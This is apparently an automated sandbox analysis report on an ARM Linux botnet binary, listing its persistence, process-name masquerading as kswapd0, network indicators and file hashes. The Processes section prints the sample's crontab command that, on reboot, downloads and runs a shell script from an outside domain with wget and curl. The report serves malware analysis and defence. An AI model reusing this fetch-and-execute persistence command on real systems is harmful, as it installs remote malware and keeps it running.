Malware Analysis Report

2024-11-13 15:54

Sample ID 241027-nfkj4avmfv
Target arm7
SHA256 15af70f91b8099d491f6d891cd063301b8e40e063aa0554294ec28cab71753c6
Tags
defense_evasion discovery execution persistence privilege_escalatio privilege_escalation
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

15af70f91b8099d491f6d891cd063301b8e40e063aa0554294ec28cab71753c6

Threat Level: Shows suspicious behavior

The file arm7 was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion discovery execution persistence privilege_escalatio privilege_escalation

File and Directory Permissions Modification

Renames itself

Unexpected DNS network traffic destination

Creates/modifies Cron job

Modifies systemd

Changes its process name

Command and Scripting Interpreter: Unix Shell

Reads runtime system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-27 11:20

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-27 11:20

Reported

2024-10-27 11:23

Platform

debian12-armhf-20240221-en

Max time kernel

137s

Max time network

148s

Command Line

[/tmp/arm7 massload]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/sh N/A

Renames itself

Description Indicator Process Target
N/A N/A /tmp/arm7 N/A

Unexpected DNS network traffic destination

Description Indicator Process Target
Destination IP 81.169.136.222 N/A N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.N6iEci /usr/bin/crontab N/A

Modifies systemd

persistence privilege_escalation
Description Indicator Process Target
File opened for modification /lib/systemd/system/bot.service /tmp/arm7 N/A

Changes its process name

Description Indicator Process Target
Changes the process name, possibly in an attempt to hide itself [kswapd0] /tmp/arm7 N/A

Command and Scripting Interpreter: Unix Shell

execution
Description Indicator Process Target
N/A N/A /bin/sh N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/mounts /tmp/arm7 N/A
File opened for reading /proc/filesystems /bin/systemctl N/A

Processes

/tmp/arm7

[/tmp/arm7 massload]

/bin/sh

[/bin/sh -c (crontab -l ; echo "@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh") | crontab -]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sh

[/bin/sh -c /bin/systemctl enable bot]

/bin/systemctl

[/bin/systemctl enable bot]

Network

Country Destination Domain Proto
US 1.1.1.1:53 debian12-armhf-20240221-en-13 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-13 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-13 udp
US 1.1.1.1:53 debian12-armhf-20240221-en-13 udp
DE 81.169.136.222:53 kingstonwikkerink.dyn udp
US 194.87.198.29:20359 kingstonwikkerink.dyn tcp

Files

/var/spool/cron/crontabs/tmp.N6iEci

MD5 d1e5ec52400d9ce3cd0440d3ae19100b
SHA1 445ec9cf7993dc113446742c7a2ef1f0e07586f6
SHA256 af1ba6bde9ac046bf76b4223834ae65344fced4bf87070dadd61ce0595c52248
SHA512 e70d30efe7c2df35eaba1fcf759c0c38a5c27b55ece9d2e51cd4b260cc3f3977726a1f8610cac9a951a9fbebc570ad5640147a3282aa406d23ffa840bd5a2682

/usr/lib/systemd/system/bot.service

MD5 a4e30f6ce6fb6cf00e133f3c93fb5449
SHA1 67b7de93a672ada4abfe11e339dc2e270c61b69d
SHA256 a911f4bb5c69ad831fd6dc9004e52e656a846b2d7cbf152ab80c9b3928062ede
SHA512 893cda7cdcb75aceef89c64a38004feff8e5867e7bc76c622a49adfbff3fbb2c7916de6165ed4c43b4c7dabb5b56271e5a1b8a08d02b84389da92ec177289c25